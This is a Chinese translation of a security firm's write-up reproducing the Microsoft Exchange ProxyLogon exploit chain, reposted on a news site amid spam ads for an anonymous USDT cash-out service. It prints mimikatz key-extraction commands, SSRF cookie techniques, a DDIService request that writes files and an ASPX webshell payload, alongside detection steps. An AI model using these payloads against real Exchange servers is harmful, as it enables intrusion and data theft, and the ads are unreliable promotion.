欢迎访问本站全民头条网!

首页科技正文

usdt法币交易平台(www.caibao.it):复现Microsoft Exchange Proxylogon破绽行使链

admin2021-03-2531安全技术WEB安全

USDT自动充值接口

菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

复现Microsoft Exchange Proxylogon破绽行使链

Anthony Weems 和 Dallas Kaman 于2021年3月9日揭晓

先容

最近几周,在全球无处不在 *** 攻击中,微软已经检测多个0-day破绽EXP用于攻击内陆版本的Microsoft Exchange Server。ProxyLogon是CVE-2021-26855的名称,它是一个存在于Microsoft Exchange Server的破绽,可以使攻击者绕过身份验证并模拟用户。在考察到的攻击中,威胁行动者使用该破绽去接见内陆Excange服务器,从而可以接见邮箱账号,而且安装了其他恶意软件对受害机械举行耐久的控制。

Praetorian Labs team 团队对初始平安通告和后续补丁举行了逆向剖析,乐成地发现了功效周全的end to end破绽。把本文概述这样做的方式,然则有意地决议省略要害的看法验证组件以防止不成熟的介入者将破绽武器化。只管我们选择不宣布完整的行使程序,然则我们知道在平安社区将不久会宣布完整的行使程序。一旦剩下的步骤成为人尽皆知的知识,我们会更开放地讨论我们对于end-to-end的解决方案。我们信托之间的时间/天数将为我们的客户,公司和其他国家/区域提供更多时间来修补此严重破绽。

Microsoft已快速开发并宣布了剧本,指示工具和紧要的补丁程序,以辅助缓解这些破绽。Microsoft平安响应中央在此处已经宣布了一篇博客文章,详细先容了这些缓解措施。值得注重的是,URL重写模块可以乐成地阻止行使无需紧要修补,而且被证实是应对Proxylogon的快速有用战略。然而,正如其他地方讨论那样,对Proxylogon的行使已经异常普遍,对于对外部提供服务的Exchange服务器的操控者来说,现在必须专注于事宜响应和降低风险。

方式

对于逆向工程,我们实现了以下步骤,去使我们能够执行对Exchange和它的补丁静态与动态的剖析。

  • 差异查看易受攻击的版本和修补的版本之间的区别
  • 测试:部署易受攻击版本的完整测试环境
  • 考察:部署工具来领会典型的 *** 通讯
  • 研究:遍历每个CVE,将补丁差异毗邻到 *** 流量,并组织看法验证exp

差异

通过检查补丁前的二进制文件和补丁后的二进制文件间的差异,我们可以确定举行了那些更改。然后对这些更改善行逆向剖析,以辅助重现原始的bug。

微软的更新目录在获取补丁用于确定差异时很有辅助。快速搜索相关软件的版本会返回一个平安补丁汇总列表,我们使用这些列表将最新的平安补丁与其前身举行了对照。例如,通过搜索“ Exchange Server 2013 CU23的平安更新”,我们找到了特定版本的Exchange的修补程序。之以是选择Exchange 2013,是由于它是易受CVE-2021-26855攻击的Exchange版本的最小补丁集,因此最容易举行diff。

Microsoft Update 更新目录有助于凭证日期来排序,因此所需的文件是前两个条目

首先, 我们下载最新的(3/2/2021)和以前的(12/2/2021)的平安更新汇总。通过从.cab文件提取.msp文件,并使用7zip去解压缩.msp文件,我们剩下了两个存放二进制文件的文件夹用于对照。

.msp 更新包罗了几百个二进制文件-大部门是.NET应用程序

由于大多数二进制文件都是.NET应用程序,因此我们使用 dnSpy 去反编译为一系列源文件,为了加速剖析的速率,我们自动反编译,并通过将每一个版本作为单独的提交到github举行对照,来使用github的源代码治理的对照功效。

PS. 很棒的trick

在Github上寻找差异有助于突出主要的转变,一目了然

我们也发现有用的另一个寻找差异的工具选择是Telerik’s JustAssembly..

JustAssembly精练地显示整个dll的更改

准备事情完成后, 我们需要启动目的Exchange服务器再次举行测试。

测试

首先,我们使用Microsoft的ADDSDeployment模块来设置尺度域控制器。然后,我们下载了相关的Exchange程序(ex:https://www.microsoft.com/en-us/download/details.aspx?id=58392 for Exchange 2013 CU23) 而且执行了尺度的安装程序。

对于基于Azure的Excahnge环境,我们追随here的步骤举行操作,将在"Install Exchange"的步骤8中下载的安装程序替换为上面链接中找到的准确的Exchange安装程序。此外,我们修改了服务器设置剧本中的PowerShell代码以启动2012-R2 Datacenter服务器而不是2019 服务器版本

$vm=Set-AZVMSourceImage -VM $vm -PublisherName MicrosoftWindowsServer -Offer `
WindowsServer -Skus 2012-R2-Datacenter -Version "latest"

这样可以快速部署自力的域控制器和Exchange服务器, 并具有适当的 *** 平安组,以防止不需要的基于Internet的行使实验。

考察

Microsoft Exchange由几个后端组件组成,这些组件在服务器正常事情时代举行相互通讯。从用户的角度来看,对前端Exchange服务器的请求将通过IIS流到Exchange HTTP Proxy署理,后者评估mailbox路由逻辑,将请求发送到合适的后端服务器。如下图所示:

Microsoft Exchange 2016客户端接见协议系统结构图(https://docs.microsoft.com/zh-cn/exchange/architecture/architecture,client-access-protocol-architecture)

我们感兴趣的是考察从HTTP代剃头送到Exchange后端的所有流量,由于其中包罗来自真实服务的许多示例请求,以辅助我们更好地领会源代码和破绽行使程序中的请求。Excahnge是部署在IIS上的,因此我们可以对Exchange的后端绑定做一个小修改,更新端口从444为4444。下一步,我们部署一个署理在444端口用来转发数据到新的绑定地址。

Exchange HTTP署理验证Exchange后端的tls证书,因此为了使我们的署理正常运行,我们想要导出盘算机内陆证书中的“ Microsoft Exchange”证书。由于此证书的私钥在Exchange安装历程中被符号为不能导出,因此我们使用mimikatz提取了密钥和证书。

mimikatz, privilege::debug
mimikatz, crypto::certificates /export /systemstore:LOCAL_MACHINE

PS.这里真的长知识了。

使用mimikatz从我们的测试机中提取Exchange证书和密钥。

手头有了证书和密钥, 我们使用了类似于socat的工具(一种多功效 *** 中继工具),去使用Exchange的证书监听端口444,并将链接中继到端口4444(现实的Exchange后端)。socat下令可能如下所示:

, export the certificate and private key (password mimikatz)
openssl pkcs12 -in 'CERT_SYSTEM_STORE_LOCAL_MACHINE_My_1_Microsoft Exchange.pfx' -nokeys -out exchange.pem
openssl pkcs12 -in 'CERT_SYSTEM_STORE_LOCAL_MACHINE_My_1_Microsoft Exchange.pfx' -nocerts -out exchange.pem
, launch socat, listening on port 444, forwarding to port 4444
socat -x -v openssl-listen:4444,cert=exchange.pem,key=exchange-key.pem,verify=0,reuseaddr,fork openssl-connect:127.0.0.1:444,verify=0

设置了署理后,我们便更先正常使用Exchange来天生HTTP请求并领会有关这些内部毗邻的更多信息。此外,几个后端服务器历程将请求发送到端口444,从而使我们能够考察到定期的运行状态检查,Powershell远程处置请求等。

研究

只管每个CVE都差异,但我们对特定CVE举行分类的一样平常方式包罗五个阶段:

1.审查指标

2.查看补丁差异

3.联系指标与差异

4.关联代码路径与署理流量

5.提议请求触发代码路径

6.重复操作

通过CVE-2021-26857举行热身

“ CVE-2021-26857是统一新闻服务中的不平安的反序列化破绽。不平安的反序列化是不能信的用户可控制数据被程序反序列化的地方。行使此破绽,HAFNIUM可以在Exchange服务器上以SYSTEM身份运行代码。” –通过Microsoft有关HAFNIUM破绽的通告

只管最终不需要在Exchange服务器上执行远程代码,但它提供了一个简朴的示例,说明晰修补程序的差异是若何展现了破绽的细节。上面的通告还明确地将统一新闻服务确定为潜在目的,这极大地辅助我们去缩小初始的搜索局限。

Exchange二进制软件包的命名异常明确-署理功效位于Microsoft.Exchange.HttpProxy。中,日志上传位于Microsoft.Exchange.LogUploader中,而统一新闻代码位于Microsoft.Exchange.UM。中。当对照文件时,我们在文件名中并不总是有明确的指示符,然则在我们的观察中没有理由不使用它。

JustAssembly标出的这些dll的差异异常清晰地说明晰基本缘故原由

此处的差异类表名Base64Deserialize功效已经被删除,而且contactInfoDeserializationAllowList属性被添加了。.NET从历史上就一直在解决反序列化问题,因此,看到此类转变强烈建议删除易受攻击的代码,并增添针对.NET反序列化行使的珍爱。检查Base64Deserialize确认了这一点:

删除的函数将base64字符串的输出转达给BinaryFormatter的反序列化

在补丁之前,Microsoft.Exchange.UM.UMCore.PipelineContext.FromHeaderFile我们通过检查diff考察到了这个不平安的方式:

此功效的更新版本包罗更多可在反序列化之前准确验证类型的代码。

本质上,此修补程序删除了可以使用ysoserial.net之类的工具举行行使的易受.NET反序列化攻击的功效。只管这里的攻击路径异常简朴,然则服务器上并非始终启用统一新闻,因此,我们的看法验证行使依赖于CVE-2021-27065,如下所述。

服务器端请求伪造(CVE-2021-26855)

由于所有远程执行代码破绽都需要绕过身份验证,我们把我们的注重力集中到服务器端请求伪造(SSRF)。Microsoft宣布了以下Powershell下令,以搜索与此破绽相关的指标:

Import-Csv -Path (Get-ChildItem -Recurse -Path "$env:PROGRAMFILES\Microsoft\Exchange Server\V15\Logging\HttpProxy" -Filter '*.log').FullName `
| Where-Object {  $_.AuthenticatedUser -eq '' -and $_.AnchorMailbox -like 'ServerInfo~*/*' } | select DateTime, AnchorMailbox

此外,Volexity还宣布了以下与SSRF行使相关的URL:

/owa/auth/Current/themes/resources/logon.css
/owa/auth/Current/themes/resources/...
/ecp/default.flt
/ecp/main.css
/ecp/<single char>.js

通过行使上述的一些示意,我们在补丁差异中搜索了相关术语(包罗诸如主机,主机名,fqdn之类的字符串),并发现了Microsoft.Exchange.FrontEndHttpProxy.HttpProxy名称空间中有趣的转变。这使我们还发现了BEResourceRequestHandler所使用的BackEndServer类中的相关差异。

补丁差异关于ServerInfo / authentication / host / fqdn.

修补BEResourceRequestHandler使用的BackEndServer类的差异。

接下来,我们跟踪到的挪用BEResourceRequestHandler,并从中的SelectHandlerForUnauthenticatedRequest方式找到了相关路径ProxyModule

缩小的代码显示掷中BEResourceRequestHandler的路径。

最后, 我们评估了BEResourceRequestHandler的CanHandle方式,发现他需要带有ECP"协议" (e.g. /ecp/)的URL,X-BEResource的cookie, 和一个以静态文件类型扩展名末尾的URL(例如js, css,flt等)。由于此代码是在HttpProxy中实现的,因此URL不需要正当,这注释了以下的事实:

,

Usdt第三方支付接口

菜宝钱包(www.caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

,

一些payload只是使用了/ecp/y.js类型的一个不存在的文件。

X-BEResourcecookie在BackEndServer.FromString剖析,从而有用地星散~的字符串,并分配第一个元素给"FQDN"给后端,剖析第二个为整数的版本号。

然后我们跟踪了该BackEndServer工具的用法,并发现该工具已用于ProxyRequestHandler去决议

将署理请求发送到的主机。URI是GetTargetBackEndServerUrl通过UriBuilder来组织的,是内陆.NET的类。

缩小的代码显示ProxyRequestHandler中的相关方式。

在这一点上,我们可以通过设置特定的标头并将请求发送到/ ecp中的“静态”文件来从理论上控制用于这些后端毗邻的主机。然则仅控制主机并不足以在Exchange后端挪用随便的终结点。为此,我们查看了.NET源代码自己,以领会若何实现UriBuilder。

参考源代码中UriBuilder的ToString方式。

如上面的代码片断所示,UriBuilder的ToString方式(用于组织URI)使用我们的输入执行简朴的字符勾通接。因此,若是将Host设置为"example.org/api/endpoint/,",则可以有用地获得对目的URL的完全控制。
有了这些信息,我们就可以通过以下HTTP请求演示SSRF了。

由于Kerberos主机不匹配,SSRF实验接见example.org失败。

唉! 由于NegotiateSecurityContext与example.org通讯失足,我们的SSRF实验“失败” 。

事实证实,此错误是我们明白SSRF的要害,由于它解释晰HTTP署理正试图通过Kerberos向后端服务器举行身份验证的事实。通过将主机名设置为Exchange服务器盘算机名,Kerberos身份验证乐成,而且我们可以通过以NT AUTHORITY\SYTEM身份接见端点。有了这些信息,我们就足以通过以下HTTP请求演示SSRF…

由于后端身份验证检查,导致SSRF实验失败。

唉! 再次失败!后端服务器由于某种缘故原由拒绝了我们的请求。跟踪此错误,我们最终发现了EcpProxyRequestHandler.AddDownLevelProxyHeaders方式,只有ProxyToDownLevelGetTargetBackEndServerUrl方式中将其设置为true时才挪用该方式。此方式检查用户是否已通过身份验证,若是未通过验证,则返回HTTP 401错误。

幸运的是,我们可以通过修改Cookie中的服务器版原本防止GetTargetBackEndServerUrl设置此值。若是版本大于Server.E15MinVersionProxyToDownLevel则为false。举行此更改后,我们乐成通过了后端服务(自动发现服务)的身份验证。

乐成向自动发现端点发送SSRF。

在查看上面的代码路径时,我们在OWA署理处置程序中发现了另一个SSRF。这些请求是在没有Kerberos身份验证的情形下发送的,因此可以将其定向到随便服务器,如下所示。

乐成的SSRF实验通过X-AnonResource cookie进入example.org。

至此,我们有足够的信息来伪造对某些后端服务的请求。我们不会宣布有关若何准确认证更敏感的服务(例如/ecp)的信息,由于该信息不是公然可用的。

随便文件写入(CVE-2021-27065)

有了SSRF,我们将注重力转向了远程代码执行。在更先宣布补丁程序之前,关于此破绽的第一个线索来自Microsoft和Volexity宣布的提醒。即,此Powershell下令可在ECP日志中搜索危害指标:

Select-String -Path "$env:PROGRAMFILES\Microsoft\ExchangeServer\V15\Logging\ECP\Server\*.log" `-Pattern 'Set-.+VirtualDirectory'

此外,Volexity博客文章形貌了/ecp/DDI/DDIService.svc/SetObject与行使有关的请求。有了这两个事实,我们在diff中搜索了ECP或DDI类中与文件I / O相关的任何内容。效果很快出来了,是位于Microsoft.Exchange.Management.ControlPanel.DIServiceWriteFileActivity类。“控制面板”是ECP的面向用户的名称,DDIService直接在指示符URL中。如下面的差异所示,旧功效将具有用户控制名称的文件直接写入磁盘。在新功效中,代码会附加“ .txt”文件扩展名(若是尚不存在)。知道一样平常的破绽行使包罗将ASPX Webshell编写到服务器上,这WriteFileActivity似乎是破绽行使的主要选择。

修补WriteFileActivity.cs的差异

若是我们在Exchange安装目录中搜索WriteFileActivity,则会在Exchange Server \ V15 \ ClientAccess \ ecp \ DDI中的多个XAML文件中看到该文件。

ResetOABVirtualDirectory.xaml中的代码段

--

在检查了XAML文件并查看了Exchange Web UI中的ECP功效之后,我们确定上面的SetObjectWorkflow形貌了要在服务器端执行的一系列步骤(包罗Powershell cmdlet执行),以执行特定操作。

ECP用户界面,显示ResetVirtualDirectory的设置选项。

通过提交示例ResetVirtualDirectory请求,我们考察到Exchange服务器写入了一个关于VirtualDirectory的美化打印的设置到指定的路径,删除了VirtualDirectory,然后重新确立了该目录。该设置文件包罗目录中的许多属性,而且可以使用随便扩展名写入到系统上的任何目录。请求和效果文件的屏幕截图如下所示.

http请求DDIService去重置OAB VirtualDirectory的示例:

POST /ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary={csrf} HTTP/1.1
Host: localhost
Cookie: msExchEcpCanary={csrf};
Content-Type: application/json
{
  "identity": {
    "__type": "Identity:ECP",
    "DisplayName": "OAB (Default Web Site)",
    "RawIdentity": "cf64594f-d739-44a4-aa70-3fbd158625e2"
  },
  "properties": {
    "Parameters": {
      "__type": "JsonDictionaryOfanyType:,Microsoft.Exchange.Management.ControlPanel",
      "FilePathName": "C:\\VirtualDirectory.aspx"
    }
  }
}

DDIService导出的文件显示了VirtualDirectory的所有属性。

ECP Web UI显示VirtualDirectory的可编辑参数。

UI中公然了以下参数,用于编辑VirtualDirectory。值得注重的是,内部URL和外部URL在UI中公然,在XAML中作为参数形貌,并在随便路径下写入文件中。这些因素的组合允许攻击者控制的输入到达随便路径,这是启用Webshell所必须的条件。

经由一些试验,我们确定服务器的内部/外部URL字段已部门验证。即服务器验证了URI方案,主机名,并强加了256个字节的更大长度。另外,服务器对有用负载中的任何百分号举行“百分比编码”(例如,“%”变为“%25”)。效果,像这样的经典ASPX代码块<% code %>被转换为<%25 code %25>无效的代码块。然则,未对其他元字符(例如<和>)举行编码,从而允许注入如下所示的URL:

http://o/,<script language=" *** cript" runat="server">function Page_Load(){eval(Request["mlwqloai"],"unsafe");}</script>

PS.又是一个good trick!

重置VirtualDirectory后,此URL会嵌入到导出中,并保留到我们选择的路径中,从而允许在Exchange服务器上执行远程代码。

使用webshell在受熏染的Exchange服务器上执行下令。

泄露后端+域

完整的行使链需要Exchange服务器后端和域。在Crowdstrike的有关攻击的博客文章中,他们宣布了整个Internet上正在发生的攻击的完整日志。在这天志中,第一个挪用一个/ rpc /端点:

初始请求掷中了Exchange公然的/ rpc /

此初始请求必须是未经身份验证的,而且可能行使HTTP?redirectedfrom=MSDN)上的RPC,?redirectedfrom=MSDN)该RPC?redirectedfrom=MSDN)本质上通过端点公然了NTLM身份验证。HTTP上的RPC自己是一个相当庞大的协议,可以通过Microsoft的开放规范设计对其举行详细先容。

作为攻击者,我们有兴趣剖析发送NTLM协商新闻后返回给我们的NTLM质询新闻。该质询新闻包罗许多AV_PAIR结构,这些结构包罗我们感兴趣的信息,稀奇是MsvAvDnsComputerName(后端服务器名称)和MsvAvDnsTreeName(域名)。
Impacket的 http.py已经包罗执行此协商以天生协商新闻,然后将质询响应剖析为AV_PAIR结构的代码。请求和响应最终看起来像:

RPC_IN_DATA /rpc/rpcproxy.dll HTTP/1.1Host: frontend.exchange.contoso.comUser-Agent: MSRPCAccept: application/rpcAccept-Encoding: gzip, deflateAuthorization: NTLM TlRMTVNTUAABAAAABQKIoAAAAAAAAAAAAAAAAAAAAAA=Content-Length: 0Connection: close
HTTP/1.1 401 UnauthorizedServer: Microsoft-IIS/8.5request-id: 72dce261-682e-4204-a15a-8055c0fd93d9Set-Cookie: ClientId=IRIFSCHPJ0YLFULO9MA; expires=Tue, 08-Mar-2022 22:48:47 GMT; path=/; HttpOnlyWWW-Authenticate: NTLM TlRMTVNTUAACAAAACAAIADgAAAAFAomiVN9+140SRjMAAAAAAAAAAJ4AngBAAAAABgOAJQAAAA9DAE8AUgBQAAIACABDAE8AUgBQAAEACABlAHgAVgBNAAQAIABjAG8AcgBwAC4AYwBvAG4AdABvAHMAbwAuAGMAbwBtAAMAKgBlAHgAVgBNAC4AYwBvAHIAcAAuAGMAbwBuAHQAbwBzAG8ALgBjAG8AbQAFACAAYwBvAHIAcAAuAGMAbwBuAHQAbwBzAG8ALgBjAG8AbQAHAAgA8EkBM20U1wEAAAAAWWW-Authenticate: NegotiateWWW-Authenticate: Basic realm="frontend.exchange.contoso.com"X-Powered-By: ASP.NETX-FEServer: frontendDate: Mon, 08 Mar 2021 22:48:47 GMTConnection: closeContent-Length: 0

可以使用Impacket剖析base64编码的哈希,以显示泄露的域信息。

嵌入在WWW身份验证NTLM挑战中的泄露的域信息

恢复AV_PAIR data的编码为Windows Unicode,并将特定映射AV_ID到值。AV_IDs是映射到特定内容的常量,例如,我们要获取3(后端主机名)和5(域)的字符串。

AV_PAIR结构到盘算数据中数字的映射

此处宣布的信息确定后端值为ex.corp.contoso.com,域为corp.contoso.com。这些是滥用前面讨论的SSRF破绽所需的值。

课外事情

如其他地方所述,我们已省略某些破绽行使细节,以防止破绽行使。读者可以通过这种机制来行使随便用户对ECP端点举行身份验证的机制。一旦有足够的时间,我们将在后续博客中宣布有关此问题的更多详细信息。

检测

Microsoft’s Threat Intel Center (MSTIC) 已经提供了精彩indicators和detection scripts,任何配备内部Exchange服务器的人都应该使用。为了确定是否存在妥协,我们建议SOC,MSSP和MDR接纳以下步骤:

  1. 确保所有端点珍爱产物均已更新并正常运行。只管破绽行使自己可能尚未向检测引擎宣布大量的IoC,但可以使用现代工具轻松检测破绽行使后的流动。
  2. 在所有Exchange服务器上,从上面链接的Microsoft github运行“ TestProxyLogon.ps1”剧本。凭证我们对行使破绽举行武器化的履历,剧本应检测出任何被行使系统的证据。
  3. 仔细检查有问题的服务器的设置,设计的义务,自动运行等,这些都是攻击者在获得初始接见权限后可能隐藏的所有位置。确保为Exchange服务器启用了“审核历程确立”审核战略和PowerShell日志纪录,并检查可疑的下令和剧本。差异应尽快获得验证,讲述和解救。

    在继续探索这些破绽的历程中,我们设计宣布其他质料,以检测您所在环境中此破绽的任何证据。

实行破绽行使

Sean Metcalf和Trimarc Security的先前事情详细先容了内陆Exchange安装通常随附高级权限。

通过这种方式举行设置后,控制Exchange服务器的攻击者可以轻松地将此接见权限用于ACL滥用引起的整个域局限的损害。受影响的环境可以通过检查应用于根域工具的ACL并考察易受攻击的Exchange资源是否属于这些组来确定是否应嫌疑站点局限的损害。我们在Trimarc帖子中对PowerShell片断举行了修改,以更详细地筛选Exchange Windows权限和Exchange受信托子系统组。若是您的环境已将Exchange资源添加到自界说组或其中的自界说组,则需要响应地调整剧本。

import-module ActiveDirectory
$ADDomain = ''
$DomainTopLevelObjectDN = (Get-ADDomain $ADDomain).DistinguishedName
Get-ADObject -Identity $DomainTopLevelObjectDN -Properties * | select -ExpandProperty nTSecurityDescriptor | select -ExpandProperty Access | select IdentityReference,ActiveDirectoryRights,AccessControlType,IsInherited | Where-Object {($_.IdentityReference -like "*Exchange Windows Permissions*") -or ($_.IdentityReference -like "*Exchange Trusted Subsystem*")} | Where-Object {($_.ActiveDirectoryRights -like "*GenericAll*") -or ($_.ActiveDirectoryRights -like "*WriteDacl*")}

致谢

我们的研究历程依赖于原始研究职员,事宜响应者和其他致力于复现这些错误的平安研究职员已揭晓的作品,而不是凭空复现。我们的谢谢和浏览的是:

  • DEVCORE-发现了原始Bug
  • Volexity-在野外发现了bug
  • @ 80vul-第一个复现破绽行使链的用户
  • Rich Warren(@buffaloverflow)-在观察历程中与我们起劲互助的人
  • Crowdstrike-揭晓了有关野外自动攻击的其他信息
  • 微软-迅速宣布了指示和补丁

本文为翻译文章,原文链接:https://www.praetorian.com/blog/reproducing-proxylogon-exploit/

网友评论